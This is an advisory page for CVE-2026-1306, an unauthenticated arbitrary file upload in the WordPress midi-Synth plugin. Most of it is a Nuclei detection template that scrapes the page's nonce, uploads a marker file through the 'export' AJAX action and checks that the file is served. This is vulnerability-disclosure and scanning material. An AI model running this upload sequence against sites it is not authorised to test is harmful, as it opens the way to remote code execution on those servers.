CVE-2026-1306: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload

2026-03-25 WordPress midi Synth PoC Public

Description

WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.

PoC

id: CVE-2026-1306

info:
  name: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.
  impact: |
    Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.
  remediation: |
    Update to the latest version of midi-Synth plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/midi-synth/midi-synth-110-unauthenticated-arbitrary-file-upload-via-export-ajax-action
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1306
    epss-score: 0.04458
    epss-percentile: 0.90931
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: wordpress
    product: midi-synth
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,midi-synth,file-upload,rce,intrusive

variables:
  randstr: "{{rand_base_string(8)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=export&nonce={{nonce}}&fileName={{randstr}}.txt&fileMidi={{base64("{{randstr}}")}}

      - |
        GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        regex:
          - 'var midiSynth_nonce     = "([a-z0-9]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 200
          - contains(body_3, "{{randstr}}")
        condition: and
# digest: 490a00463044022007c6d076a30e86c46bcdaf2f839c69df2c3c81355ba9dd9e0169b33ee99f21ff022070ec8d7ba52a4136089b0e78903c9b5f486d4dff379937f6ec57c4db9a54e02d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities